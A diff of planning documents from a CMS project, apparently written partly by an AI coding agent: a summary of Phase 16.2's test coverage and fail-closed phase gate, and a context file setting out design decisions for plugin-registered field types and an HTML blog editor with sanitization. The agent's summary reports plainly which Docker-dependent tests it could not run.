+- Full unit coverage of the phase's code (lean rule 3), the folded todo's acceptance test tightened, Postgres tests ready for the Docker host, a passing fail-closed phase gate.
+</success_criteria>
+
+<output>
+Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-06-SUMMARY.md` when done, with the test counts per repository, any fix(...) commits, and the Docker-host command list.
+</output>

.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-06-SUMMARY.md

@@ -0,0 +1,277 @@
+---
+phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
+plan: 06
+subsystem: testing
+tags: [unit-tests, vitest, node-test, testcontainers, phase-gate, cabana, pact, blog-editor, embeds, d-03]
+
+requires:
+  - phase: 16.2-01
+    provides: pact field type API (ListValue takes ctx), cabana registry, decode, skip, load, list, writes, routes, SPA PluginField/MLPluginField and fieldTypes loader
+  - phase: 16.2-02
+    provides: golem15-journal-blogeditor element, schema, serializer, embeds, editor corpus
+  - phase: 16.2-03
+    provides: Journal blogeditor/mlblogeditor types, SanitizeHTMLReport, StoreMedia, posts and category hooks
+  - phase: 16.2-04
+    provides: vue-journal-layer expandEmbeds and the four-rule sanitizer mirror
+  - phase: 16.2-05
+    provides: UAT release (v0.1.18) plus the untagged preview pane (quick 261010-iwu) and the admin View site link
+provides:
+  - "Full unit coverage of the phase across summercms.go, sm-journal-plugin and vue-journal-layer (lean rule 3)"
+  - "The imported-post resave contract (D-03) pinned at the element, PluginField, cabana, Journal Load and Postgres layers"
+  - "Postgres tests for a Docker host: TestFieldTypeSavePostgres, TestCategoriesAdminBlogEditor, the three-stage TestPostsAdminResaveKeepsHTML"
+  - "scripts/check-phase16.2.sh: fail-closed stages go, admin, editor, layer, docs, postgres with go/vitest-JSON/TAP detectors and a self-test"
+  - "16.2-VALIDATION.md map filled with real task IDs, nyquist_compliant and wave_0_complete true"
+affects: [16.2 verify-work, v0.1.19 tag, sm-journal-plugin, vue-journal-layer]
+
+actuals:
+  tokens: 58692
+  tasks: 3
+  commits: 5
+plan_head_before: c07da3912b1cc4b5d112200f7af16c5ad3061d02
+plan_head_after: 7e113013a364f8e1668d0b5033e183204ec18d9f
+plugin_commits_repo: ../sm-journal-plugin
+plugin_head_before: 2c78211cb90e27cf8515b104613c3eac1a0aca5f
+plugin_head_after: 85963b19eff80530c301454095377cde1350621a
+plugin_commits: 4
+layer_commits_repo: ../vue-journal-layer
+layer_head_before: 759e684e862bd8a2f34e2bbcdf258f66aeddad4f
+layer_head_after: 782aa4da7d618b0d7e678421fc02dee29e5b9f54
+layer_commits: 1
+task2_start:
+  summercms.go: 08a2002
+  sm-journal-plugin: d5a5413
+
+tech-stack:
+  added: []
+  patterns:
+    - "vitest JSON-reporter detector: a failed, skipped or todo test, a failed file, no passing test or a missing required file or test name fails the gate"
+    - "Docker-only stages are explicit: --all runs postgres only when a daemon answers and otherwise prints NOT RUN; the stage itself fails without Docker"
+    - "Edited-block markup compared by shape (element, sorted attributes, text), byte comparison kept for untouched blocks"
+
+key-files:
+  created:
+    - modules/pact/field_type_test.go
+    - modules/cabana/field_type_test.go
+    - modules/cabana/field_type_postgres_test.go
+    - admin/tests/app/fieldTypes.test.ts
+    - scripts/check-phase16.2.sh
+    - ../sm-journal-plugin/classes/blog_editor_test.go
+    - ../sm-journal-plugin/controllers/posts_editor_test.go
+    - ../sm-journal-plugin/categories_admin_editor_test.go
+    - ../sm-journal-plugin/tests/blogeditor/element.test.ts
+    - ../sm-journal-plugin/tests/blogeditor/schema.test.ts
+    - ../sm-journal-plugin/tests/blogeditor/serializer.test.ts
+    - ../sm-journal-plugin/tests/blogeditor/embed.test.ts
+  modified:
+    - admin/tests/form/PluginField.test.ts
+    - admin/tests/form/FormField.test.ts
+    - admin/tests/form/registry.test.ts
+    - admin/tests/form/formState.test.ts
+    - admin/tests/list/ListView.test.ts
+    - admin/tests/shell/AppShell.test.ts
+    - .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md
+    - .planning/WINDOWS.md
+    - ../sm-journal-plugin/classes/editor_policy_test.go
+    - ../sm-journal-plugin/classes/media_store_test.go
+    - ../sm-journal-plugin/posts_admin_smoke_test.go
+    - ../sm-journal-plugin/vite.config.ts
+    - ../vue-journal-layer/tests/embeds.test.ts
+    - ../vue-journal-layer/tests/htmlGate.test.ts
+
+key-decisions:
+  - "The Postgres resave test adapts the plan's locales to the harness: en is the host locale and pl the translation, as plan 03 already recorded"
+  - "check-phase16.2.sh --all runs the postgres stage only when a Docker daemon answers; without one it prints a loud NOT RUN block and still ends with 'Phase 16.2 gate passed' for the runnable stages. The postgres stage invoked directly fails without Docker, and PHASE162_REQUIRE_POSTGRES=1 makes --all fail too"
+  - "Edited (re-serialized) blocks are compared by element, attribute set and text rather than bytes: attribute order and the DOM's style normalization change there by design (plan 02); untouched blocks keep the byte comparison"
+  - "The happy-dom iframe page loading is disabled in the editor tests so no test reaches the network (T-16.2-28)"
+
+patterns-established:
+  - "A phase gate names its required tests per stage and fails on a missing one, a skip, a todo or zero tests, in Go, vitest and node:test alike"
+
+requirements-completed: [D-02, D-03, D-05, D-07, D-10, D-11, D-12, D-13, D-14, D-17, D-18, D-19]
+
+coverage:
+  - id: D1
+    description: "Imported-post resave contract (D-03): untouched value unchanged at the element (Source tab, tab buttons, preview, reattach), PluginField never re-sets an echoed value, cabana writes and reports nothing for a served value, Journal Load serves HTML verbatim and markdown as content_html"
+    requirement: D-03
+    verification:
+      - kind: unit
+        ref: "../sm-journal-plugin/tests/blogeditor/element.test.ts"
+        status: pass
+      - kind: unit
+        ref: "admin/tests/form/PluginField.test.ts#untouched value (D-03)"
+        status: pass
+      - kind: unit
+        ref: "modules/cabana/field_type_test.go#TestFieldTypeUntouched"
+        status: pass
+      - kind: unit
+        ref: "../sm-journal-plugin/classes/blog_editor_test.go#TestBlogEditorLoad"
+        status: pass
+    human_judgment: false
+  - id: D2
+    description: "Framework coverage: pact FormFieldError, boot rules, compile, decode 422/500, localized capped notices, Load, ListValue, writes, field-types and upload routes"
+    requirement: D-11
+    verification:
+      - kind: unit
+        ref: "bash scripts/check-phase16.2.sh go (19 named framework tests)"
+        status: pass
+    human_judgment: false
+  - id: D3
+    description: "Journal coverage: Decode strip-and-report over the 35 payloads, notices and plural forms, LooksLikeHTML, options, ListValue, Upload sniffing and safe names, StoreMedia, policy corpus cross-check, posts hooks"
+    requirement: D-10
+    verification:
+      - kind: unit
+        ref: "bash scripts/check-phase16.2.sh go (20 named Journal tests, 16.1 policy tests unchanged since c60abc6)"
+        status: pass
+    human_judgment: false
+  - id: D4
+    description: "JS coverage: admin fieldTypes, registry, formState, FormField, ListView, AppShell View site; editor schema, serializer, embed, preview; layer expandEmbeds order and mirror negatives; corpus copies identical"
+    requirement: D-13
+    verification:
+      - kind: unit
+        ref: "bash scripts/check-phase16.2.sh admin (1218 tests, 78 files)"
+        status: pass
+      - kind: unit
+        ref: "bash scripts/check-phase16.2.sh editor (220 tests, 7 files)"
+        status: pass
+      - kind: unit
+        ref: "bash scripts/check-phase16.2.sh layer (144 tests, corpus cmp)"
+        status: pass
+    human_judgment: false
+  - id: D5
+    description: "Phase gate and validation map"
+    verification:
+      - kind: other
+        ref: "bash scripts/check-phase16.2.sh --self-test && bash scripts/check-phase16.2.sh --all -> Phase 16.2 gate passed"
+        status: pass
+    human_judgment: false
+  - id: D6
+    description: "Postgres-backed suites: TestFieldTypeSavePostgres, TestPostsAdminResaveKeepsHTML (HTML, markdown, edited), TestPostsAdminSaveSanitizesHTML, TestCategoriesAdminContent, TestCategoriesAdminBlogEditor, TestJournalSVGEmbed and the rest of the testcontainers suites"
+    requirement: D-18
+    verification: []
+    human_judgment: true
+    rationale: "No Docker on this host (docker.sock permission denied); the tests compile under go vet and fail rather than skip here. Run bash scripts/check-phase16.2.sh postgres on a Docker host before /msd-verify-work"
+
+duration: 43min
+completed: 2026-10-10
+status: complete
+---
+
+# Phase 16.2 Plan 06: Unit Coverage, Postgres Tests and Phase Gate Summary
+
+**Every Phase 16.2 behaviour is now pinned by a test that fails on regression: the untouched-resave contract at five layers, the framework's field type rules and routes, the Journal editor types, storage and policy cross-check, the editor element, schema, serializer and embeds, the layer's sanitize-then-expand order, and a fail-closed gate (`scripts/check-phase16.2.sh`) that passes here with the Docker-only suites reported as NOT RUN.**
+
+## Performance
+
+- **Duration:** 43 min
+- **Started:** 2026-10-10T13:34:11Z
+- **Completed:** 2026-10-10T14:17Z
+- **Tasks:** 3 (tracer, Go coverage, JS coverage plus gate and validation map)
+- **Files:** 26 test, script and planning files across three repositories (14 created, 12 modified), plus one test config (`vite.config.ts`)
+
+## Accomplishments
+
+- **Tracer (Task 1, D-03, D-07):** element.test.ts (15 cases: Source tab, tab buttons, echo, preview, reattach, a real Source edit); PluginField echo-on-connect stub; `TestFieldTypeUntouched` (served values skip Decode, writes and notices; one changed locale only; canonical JSON; create never skips); `TestBlogEditorLoad`; `TestPostsAdminResaveKeepsHTML` rewritten in three stages (HTML post, markdown post with imported content_html, edited clean save), byte comparisons without TrimSpace and no meta.notices.
+- **Go (Task 2):** pact `TestFormFieldErrorMessage`, `TestFormFieldTypeContract`; cabana `TestFieldTypeRegistry`, `TestFieldTypeOptions`, `TestFieldTypeCompile`, `TestFieldTypeDecode`, `TestFieldTypeNotices`, `TestFieldTypeLoad`, `TestFieldTypeListValue`, `TestFieldTypeWrites`, `TestFieldTypesRoute`, `TestFieldUpload`; Docker `TestFieldTypeSavePostgres`. Journal `TestBlogEditorDecode`, `TestBlogEditorNotices`, `TestLooksLikeHTML`, `TestBlogEditorOptions`, `TestBlogEditorListValue`, `TestBlogEditorUpload`, `TestStoreMedia`, extended `TestEditorOutputPassesPolicy` and `TestSanitizeHTMLReport`, `TestPostsEditorHooks`, Docker `TestCategoriesAdminBlogEditor`.
+- **JS (Task 3):** admin `fieldTypes.test.ts` (new) plus registry, formState, FormField, ListView and AppShell (View site: href `origin + "/"`, `_blank`, `noopener noreferrer`, en/pl label and phrasebook keys); editor `schema`, `serializer`, `embed` tests (new) next to the existing smoke, corpus and preview tests; layer embeds (order at the sinks, exact-serialization only, stable global regex, fixed src) and htmlGate (four rules accept, Go negatives stripped, corpus free of danger).
+- **Gate:** `scripts/check-phase16.2.sh` with stages go, admin, editor, layer, docs, postgres, `--self-test` (go, TAP and vitest-JSON detectors plus the corpus `cmp` on planted output) and `--all`.
+- **Validation map:** every row has real task IDs, commands and statuses; Docker suites are manual rows; `nyquist_compliant: true`, `wave_0_complete: true`.
+
+## Test counts per repository
+
+| Repository | Suite | Before | After |
+|---|---|---|---|
+| summercms.go | Go: new top-level tests in pact and cabana | — | 13 (12 run here + `TestFieldTypeSavePostgres` for Docker) |
+| summercms.go | admin vitest | 1190 tests (plan 01), 77 files | 1218 tests, 78 files |
+| sm-journal-plugin | Go classes/controllers new top-level tests | — | 9 (+2 extended in place) |
+| sm-journal-plugin | Go root (Docker) | — | `TestCategoriesAdminBlogEditor` new, `TestPostsAdminResaveKeepsHTML` rewritten |
+| sm-journal-plugin | editor vitest | 55 tests, 3 files | 220 tests, 7 files |
+| vue-journal-layer | node --test | 136 | 144 |
+
+## Task Commits
+
+**summercms.go**
+1. Task 1: `08a2002` test(16.2-06): pin the untouched-value skip in cabana and PluginField
+2. Task 2: `3404a4b` test(16.2-06): full unit coverage of the plugin field type framework
+3. Task 3: `9f5e807` test(16.2-06): admin SPA coverage of plugin field types and View site; `3da2fd6` test(16.2): phase gate; `7e11301` docs(16.2): complete the validation map
+
+**sm-journal-plugin**
+1. Task 1: `d5a5413` test(16.2-06): pin the imported-post resave contract
+2. Task 2: `da7a073` test(16.2-06): full unit coverage of the Journal Blog Editor field types
+3. Task 3: `a578dda` test(16.2-06): Blog Editor schema, serializer and embed coverage; `85963b1` test(16.2-06): keep happy-dom iframe pages offline in the editor tests
+
+**vue-journal-layer**
+3. Task 3: `782aa4d` test: pin embed expansion order and the editor policy mirror
+
+No fix(...) commit: no test exposed a production defect. Nothing was pushed or tagged.
+
+## Verification
+
+- Task 1 verify: element vitest 15/15, PluginField 17/17, `--- PASS: TestFieldTypeUntouched`, `--- PASS: TestBlogEditorLoad`, `go -C ../sm-journal-plugin vet ./...` clean.
+- Task 2 verify: 13 of 13 named cabana tests pass, 10 of 10 named Journal classes tests pass, `TestPostsEditorHooks` passes, vet clean in both repositories; `git -C ../sm-journal-plugin diff --quiet c60abc6 -- classes/format_html_test.go classes/check_html_test.go classes/format_translation_test.go` exits 0; Task 2's diffs (`08a2002..3404a4b`, `d5a5413..da7a073`) hold only `*_test.go` files.
+- Task 3 verify: admin 1218/1218, editor 220/220, layer `# fail 0` (144 pass); `check-phase16.2.sh --self-test` passes; `--all` ends with `Phase 16.2 gate passed` (go, admin, editor, layer, docs PASS; postgres NOT RUN).
+- Typecheck: `vue-tsc --noEmit` (admin) and `tsc --noEmit` (plugin) clean; `check-dist.sh` and `check-admin-dist.sh` report current bundles.
+- Full `go test ./...`: the only failures in summercms.go (beachcomber, bouncer, cabana, conga, lagoon, lagoon/attach, lighthouse, postcard, docs/examples/blog) and sm-journal-plugin (root, models, updates) are the testcontainers suites failing on `docker.sock: permission denied`; no other failing test line.
+
+## Docker-host command list (not run here)
+
+```
+bash scripts/check-phase16.2.sh postgres
+# which runs, fail-closed:
+go test -json -count=1 -timeout 15m ./modules/cabana          # requires TestFieldTypeSavePostgres, TestListRelationSearchPostgres
+go -C ../sm-journal-plugin test -json -count=1 -timeout 20m ./...  # requires TestPostsFormCompiles, TestPostsAdminCreateSmoke,
+#   TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML, TestCategoriesAdminContent,
+#   TestCategoriesAdminBlogEditor, TestJournalSVGEmbed
+```
+
+These cover WINDOWS entries 11, 12, 14, 15, 16, 20 and 21.
+
+## Decisions Made
+
+See key-decisions in the frontmatter.
+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Rule 2 - Test isolation] happy-dom loaded remote iframe pages in the editor tests**
+- **Found during:** Task 1 (baseline run of the plugin vitest suite)
+- **Issue:** The quick-task preview tests put payloads with `https://example.test/` iframes into the preview frame's srcdoc; happy-dom tried to fetch them (12 `getaddrinfo ENOTFOUND example.test` per run). The threat model (T-16.2-28) says no test reaches the network.
+- **Fix:** `test.environmentOptions.happyDOM.settings.disableIframePageLoading: true` in the plugin's `vite.config.ts` (test block only; the build output is unchanged, `check-dist.sh` passes). The admin suite was checked and makes no such request.
+- **Files modified:** ../sm-journal-plugin/vite.config.ts
+- **Commit:** 85963b1
+
+**2. [Plan text] Locales of the Postgres resave test**
+- **Issue:** The plan says "pl and en ... no en translation row ... en content_html translation" with pl as host; the harness (`bootJournal`) makes en the default locale and pl the translation (as plan 03 recorded).
+- **Fix:** host assertions on en; the untouched empty value and the translation assertions on pl. The untouched-empty check compares pl `content`/`content_html` presence and the translation row count before and after the PUT.
+- **Commit:** d5a5413
+
+**3. [Plan text] Edited-block markup compared by shape**
+- **Issue:** schema tests that serialize a whole document from the model saw attribute order and style normalization differ from the source (`<a class="more" data-id="7" href="/a">`, `color: red;`). This is plan 02's documented behaviour for edited blocks, not a defect.
+- **Fix:** those cases compare element names, sorted attributes and text; untouched blocks keep byte comparisons everywhere.
+- **Commit:** a578dda
+
+**4. Files outside the plan's list**
+- `admin/tests/shell/AppShell.test.ts` (the View site link test the orchestrator asked for), `../sm-journal-plugin/vite.config.ts` (deviation 1), `.planning/WINDOWS.md` (entries 20 and 21).
+
+---
+
+**Total deviations:** 1 auto-fixed (test isolation) plus 2 plan-text adaptations and the listed extra files. **Impact:** no production code changed; no assertion that describes shipped behaviour was relaxed (the 16.1 policy test files are unchanged since c60abc6).
+
+## Issues Encountered
+
+- No Docker on this host: the Postgres suites compile under go vet and fail rather than skip; see the Docker-host command list.
+
+## Known Stubs
+
+None.
+
+## Next Phase Readiness
+
+- Run `bash scripts/check-phase16.2.sh postgres` on a Docker host, then /msd-verify-work 16.2 (WINDOWS 18 and 19 remain human UAT items from plan 05).
+- The orchestrator tags v0.1.19 separately.
+- STATE.md and ROADMAP.md updates are pending: another session holds uncommitted edits to them (see below).
+
+## Self-Check: PASSED
+
+- Created files exist: modules/pact/field_type_test.go, modules/cabana/field_type_test.go, modules/cabana/field_type_postgres_test.go, admin/tests/app/fieldTypes.test.ts, scripts/check-phase16.2.sh, ../sm-journal-plugin/classes/blog_editor_test.go, ../sm-journal-plugin/controllers/posts_editor_test.go, ../sm-journal-plugin/categories_admin_editor_test.go, ../sm-journal-plugin/tests/blogeditor/{element,schema,serializer,embed}.test.ts.
+- Commits exist: summercms.go 08a2002, 3404a4b, 9f5e807, 3da2fd6, 7e11301; sm-journal-plugin d5a5413, da7a073, a578dda, 85963b1; vue-journal-layer 782aa4d.

.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-CONTEXT.md

@@ -0,0 +1,148 @@
+# Phase 16.2: Plugin-provided field types and the Blog Editor formwidget - Context
+
+**Gathered:** 2026-10-09
+**Status:** Ready for planning
+
+<domain>
+## Phase Boundary
+
+Two deliverables, framework first:
+
+1. **Plugin-registered, value-bearing cabana field types** (summercms.go: `modules/pact`, `modules/cabana`, admin SPA). A plugin registers its own form field type, the WinterCMS `registerFormWidgets()` successor. Unlike the Phase 10.1 `type: widget`, which is valueless and uses action/fill, the field owns a column value.
+2. **The Journal Blog Editor** (sm-journal-plugin). It is built on that API: a WYSIWYG HTML editor with a source toggle for post `content`. It edits the imported HTML posts (61 of 63 published grzybyfunkcjonalne.pl posts) without losing anything, and it also replaces the textarea for category content.
+
+The phase also includes the frontend half of embeds. The reusable Nuxt blog views layer (`vue-journal-layer`) expands the editor's embed placeholders.
+
+Out of scope: a core cabana `richeditor` type, a media library browser, and HTML input on the public write API (see Deferred).
+</domain>
+
+<decisions>
+## Implementation Decisions
+
+### Blog Editor: what it is
+- **D-01:** The Blog Editor is a **WYSIWYG HTML editor with a source (raw HTML) toggle**, built on ProseMirror through TipTap. It is not a block editor and not a markdown editor.
+- **D-02:** **An admin save stores HTML in both columns.** `content` holds the edited HTML and `content_html` holds the same HTML after the sanitizer (D-10); both columns store the sanitized HTML. The API response shape is unchanged; `content` is simply HTML, as the PHP export already carries for imported posts. — **Reversibility:** costly — every post saved from the admin becomes HTML-content. A later move back to markdown would need an HTML-to-markdown migration across live posts.
+- **D-03:** **Byte-preserving unless edited.** If the post body is not touched in the editor, the save writes back exactly the stored HTML; the editor must not re-serialize an untouched document. Once the body is edited in WYSIWYG, markup the schema doesn't know (custom classes, divs, attributes) is kept as far as possible through generic node and attribute preservation. The source tab always edits the exact HTML.
+- **D-04:** v1 features: basic text (headings, bold/italic, lists, links, blockquote), **images**, **tables**, and **embeds plus a raw HTML block**. The raw HTML block is still subject to the sanitizer (D-10).
+- **D-05:** **Embeds are an allowlisted placeholder node**, for example `<figure data-embed="youtube" data-id="…">`, that passes the bluemonday policy (and the layer's sanitize-html policy) byte for byte; both policies are extended for exactly the editor's own output (`figure` `data-embed`/`data-id`, and any image or table attributes the editor emits), pinned by a test. **The XSS gate is not relaxed to allow iframes.** The frontend expands the placeholder into the real iframe (D-17). — **Reversibility:** costly — the placeholder markup becomes stored content in live posts, and the layer's renderer depends on it.
+- **D-06:** The editor is **translatable like today's `mlmarkdown`**: a locale switcher over a locale → HTML map, stored through the translate overlay.
+
+### Markdown vs HTML posts
+- **D-07:** **A markdown post opens with its `content_html`**, and the next admin save stores HTML (D-02). This is a one-way migration on first edit, with **no per-post format flag** and no new column.
+- **D-08:** **The Blog Editor replaces `mlmarkdown` for Journal post `content`** in `models/post/fields.yaml`. `markdown` and `mlmarkdown` stay cabana core types for other plugins. The `excerpt` field is unchanged.
+- **D-09:** **The public write API is unchanged.** `POST`/`PUT /_journal/api/v1/posts` keep the PHP contract: `content` is markdown and the server renders `content_html` with `FormatHTML`. Only the admin form path stores HTML.
+- **D-10 (amended 2026-10-10, supersedes the original refuse-only gate):** **Admin save gate: strip, never refuse.** Every admin write of post and category content (default and non-default locale) stores the output of the shared bluemonday policy (`classes.SanitizeHTML`, decision note `journal-html-sanitizing-bluemonday.md`), which returns the bytes unchanged when nothing is stripped. A save never fails because of unsafe markup. When the policy removed anything, the save response tells the admin what was removed (for example "2 elements were removed: style, iframe") and the form reloads the stored value; a save that removed nothing keeps today's response shape. The admin save path must stop running `FormatHTML`/goldmark over HTML content, which is the current data-loss bug (todo `journal-imported-html-admin-resave.md`). — *Original text: "`CheckHTML` refuses, nothing is sanitized … No sanitizer dependency is added." Superseded because 16.1 adopted bluemonday and the user chose strip (WordPress/Winter-post behaviour) so an edit never fails on legacy blocks the author did not touch.*
+
+### Field type contract (framework)
+- **D-11:** **Plugins register field types under a short global alias**, for example `type: blogeditor`. Boot fails loudly if two plugins, or a plugin and a cabana core type, claim the same alias. This is closer to Winter's `registerFormWidgets` aliases than to a namespaced key. — **Reversibility:** costly — aliases end up in plugin `fields.yaml` files across repos; renaming means editing every consumer.
+- **D-12:** The capability is a new `pact` interface (for example `HasFormFieldTypes`). Its Go side owns four things:
+  1. **Option validation at boot**: the type's own YAML keys, fail-loud like the built-ins.
+  2. **Value decode and validation on save**: any JSON shape, with field errors returned as 422.
+  3. **Load and format for the form**: turns the stored column value into what the element receives. For the Blog Editor, a markdown post is served as its `content_html` (D-07).
+  4. **List column formatting**: for example, strip tags and truncate.
+
+  — **Reversibility:** one-way — a published plugin API in `pact`; later plugins (payment and others, per todo `cabana-plugin-registered-field-types.md`) build on it.
+- **D-13:** **The client-side element loads globally on admin boot.** A plugin declares its field-type assets once, and the SPA loads them on every admin page, so the type works in any controller's form, including other plugins' forms. The element binds a value through a documented contract instead of the widget action/fill round-trip. The todo's starting point for that contract is a `value` property plus a `summer-change` event; the planner finalizes it. The element reads only the public `--c-*` CSS variables.
+- **D-14:** **Translatable variants are registered by the plugin itself**: the plugin registers both `blogeditor` and `mlblogeditor`, mirroring the `markdown`/`mlmarkdown` pair. The planner decides how a plugin ML type plugs into cabana's existing lift/hydrate path (`field_ml.go`) and the translate adapter, so locale storage is not reimplemented per plugin.
+- **D-15:** The form schema and the generated TS types carry plugin types as a generic shape, so the SPA build does not need to know them (per the todo). The cabana README, `docs/`, the admin OpenAPI, the generated TS types and the committed `dist/` are updated in the same change (CLAUDE.md documentation rules).
+
+### Libraries, media, category content
+- **D-16:** **The editor library is TipTap (ProseMirror, MIT).** It is wrapped in a plain custom element and bundled in **sm-journal-plugin's own JS build** (`assets/src` → `assets/dist`), with the bundle committed and embedded, like the admin SPA `dist/`. The host app needs no npm. The admin SPA itself gains no editor dependency.
+- **D-17:** **Embeds render in the `vue-journal-layer` blog views.** The layer expands allowlisted embed placeholders into privacy-friendly iframes (for example `youtube-nocookie.com`), so grzybyfunkcjonalne.pl shows them. A new layer tag is pinned in `vue-grzybyfunkcjonalne-app`.
+- **D-18:** **Images are uploaded through the existing backend-authenticated Journal media upload route**, by drag-and-drop or file picker. The editor inserts `<img src>` with alt text and an optional caption (`figure`/`figcaption`). There is no media library browser.
+- **D-19:** **Journal category content uses the Blog Editor** (`blogeditor`, or `mlblogeditor` if the category content attribute is translatable in the PHP tree) instead of the textarea. **No core cabana `richeditor` type** is added. This closes todo `cabana-richeditor-field-type.md` inside Journal. Category content follows D-10 (amended): it is stripped like posts, not refused. This replaces the 422 `CheckHTML` gate in the Categories controller's `FormBeforeCreate`/`FormBeforeUpdate` (Winter stored category content unsanitized; that was a gap, not a contract to keep).
+
+### Claude's Discretion
+- The exact `pact` interface name and method set, Go identifiers, the element value/event contract details, and the asset declaration shape, all within D-11 to D-15.
+- How "untouched" is detected for D-03: client-side dirty tracking versus server-side comparison with the loaded value. Either is acceptable as long as an untouched save is byte-identical.
+- The ProseMirror schema strategy for preserving unknown markup (generic passthrough nodes and marks, a global attribute preservation extension).
+- The exact embed placeholder markup and the provider allowlist (YouTube at minimum).
+- Whether a summercms tag release, the host bump and a UAT redeploy belong in this phase, following the 16.1 D-04 pattern. Recommended, because the goal is to edit imported posts on UAT.
+- Plan count and split, subject to the plan-count checkpoint and "unit tests are the last plan". Framework work comes before the Journal work.
+- Run the security-review agent: the phase adds a plugin API to `pact`, changes HTML write paths and adds an upload path into the editor.
+
+### Folded Todos
+- **`cabana-plugin-registered-field-types.md`**: the framework half of this phase (D-11 to D-15).
+- **`cabana-richeditor-field-type.md`**: resolved by reusing the Blog Editor for category content (D-19) instead of a core type.
+- **`journal-imported-html-admin-resave.md`**: the data-loss part is fixed by D-02, D-07 and D-10. Its required test applies: re-save an imported HTML post and assert `content` and `content_html` are unchanged. If 16.1 already shipped a stopgap, this phase replaces it.
+</decisions>
+
+<canonical_refs>
+## Canonical References
+
+**Downstream agents MUST read these before planning or implementing.**
+
+### Todos folded into this phase
+- `.planning/todos/pending/cabana-plugin-registered-field-types.md`: the framework design sketch (pact interface, element contract, generic schema shape)
+- `.planning/todos/pending/cabana-richeditor-field-type.md`: category content requirement and the `CheckHTML` gate
+- `.planning/todos/pending/journal-imported-html-admin-resave.md`: the data-loss bug and its required test
+
+### Prior phase context
+- `.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-CONTEXT.md`: D-03 (content/excerpt display, data-loss stopgap); 16.2 depends on 16.1
+- `.planning/phases/15-journal-plugin/15-CONTEXT.md`: D-01 to D-04 (frozen PHP tree is binding), D-11 (markdown field origin), D-14 (`/_journal/api/v1` contract)
+- `.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md`: D-02 to D-05 (the `vue-journal-layer` structure and distribution, for D-17)
+- `.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md`: Pitfall 2 (goldmark wipes raw HTML)
+- Phase 10.1 (`.planning/phases/10.1-runtime-admin-extension-point/`): the `type: widget` custom-element mechanism, asset serving, `--c-*` CSS variable rule
+
+### Framework code
+- `modules/pact/capabilities.go`: capability interfaces, `AdminClientAssets`
+- `modules/cabana/form_schema.go`: closed `formFieldTypes` set, fail-loud key validation
+- `modules/cabana/crud.go` (~line 1227): scalar type switch on save
+- `modules/cabana/field_ml.go`: ML lift/hydrate for `ml*` types
+- `modules/cabana/extension.go`: widget tag validation, plugin asset hashing and serving
+- `admin/src/components/form/registry.ts`, `admin/src/components/form/fields/MarkdownField.vue`, `MLMarkdownField.vue`: SPA renderer registry and the ML wrapper
+- `modules/cabana/README.md` and `docs/`: must be updated with the API
+
+### Journal plugin (`../sm-journal-plugin`)
+- `classes/format_html.go`: `FormatHTML` (goldmark, API path) and `CheckHTML` (gate)
+- `models/post/fields.yaml`, `models/category/fields.yaml`: fields switched to the Blog Editor
+- The Posts and Categories controllers' form hooks: where the admin save path runs `FormatHTML`/`CheckHTML`
+- Frozen PHP reference: `/media/nvme/dev/golem15/fonoteka/plugins/golem15/journal/formwidgets/` (`JournalMarkdown.php`, `MLJournalMarkdown.php`) and `API.md`
+
+### Frontend layer
+- `../vue-journal-layer`: post body rendering, where embed placeholder expansion goes (D-17)
+</canonical_refs>
+
+<code_context>
+## Existing Code Insights
+
+### Reusable Assets
+- The Phase 10.1 widget machinery (`extension.go`) already validates custom-element tags, embeds and hashes plugin assets, and serves them with ETag and `?v=` cache busting. Global field-type assets should reuse this rather than add a second asset pipeline.
+- `field_ml.go`'s lift/hydrate and the translate adapter already store locale maps for `mlmarkdown`. `mlblogeditor` should go through the same path.
+- `classes.CheckHTML` is the existing three-pattern XSS gate, already used for category content.
+- The Journal media upload route (backend Bearer guard, Phase 15 D-15) is the upload target for D-18.
+
+### Established Patterns
+- Field types fail loudly at boot: an unknown type or key is a boot error. Plugin types must meet the same bar.
+- "Framework first": cabana changes land in their own commits and may get a summercms tag before the plugin work (Phase 12.1 and 15 D-11 precedent).
+- Another session may be working in `modules/` concurrently (16.1 D-02). Stage files explicitly by path and check for in-flight edits to shared cabana files.
+- Committed `dist/` for built JS (admin SPA). The plugin bundle follows the same pattern.
+
+### Integration Points
+- `formFieldTypes` and the crud type switch must consult the plugin type registry.
+- The SPA `registry.ts` needs a fallback route from an unknown or plugin type to a generic plugin-element renderer, instead of `UnsupportedField`.
+- The list column renderer must call the plugin's list formatter.
+- The `vue-journal-layer` post body renderer gets embed expansion, followed by a new layer tag and a bump in `vue-grzybyfunkcjonalne-app`.
+</code_context>
+
+<specifics>
+## Specific Ideas
+
+- The user explicitly wants an editor "beyond the current markdown field or a plain rich editor" that edits imported HTML losslessly. Lossless round-trip is the acceptance bar, and it has a test: re-save an untouched imported post and get byte-identical `content`/`content_html`.
+- Embeds must keep the XSS gate strict: placeholder in storage, iframe only in the frontend.
+</specifics>
+
+<deferred>
+## Deferred Ideas
+
+- **Core cabana `richeditor`/`mlricheditor` type** for plugins without their own editor. Not needed now; any plugin can register its own type or reuse one.
+- **Media library browser** for picking previously uploaded images.
+- **HTML input on the public write API** (`/_journal/api/v1/posts`). This would extend the PHP contract; the API stays markdown-in for now.
+- **Bulk HTML conversion command** (`journal:content-to-html`). Rejected in favour of convert-on-first-edit (D-07); revisit if a uniform format is ever needed.
+- **Allowlisting iframe hosts in `CheckHTML`**. Rejected in favour of placeholders (D-05).
+</deferred>
+
+---
+
+*Phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget*
+*Context gathered: 2026-10-09*

.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-DISCUSSION-LOG.md

@@ -0,0 +1,142 @@
+# Phase 16.2: Plugin-provided field types and the Blog Editor formwidget - Discussion Log
+
+> **Audit trail only.** Do not use as input to planning, research, or execution agents.
+> Decisions are captured in CONTEXT.md — this log preserves the alternatives considered.
+
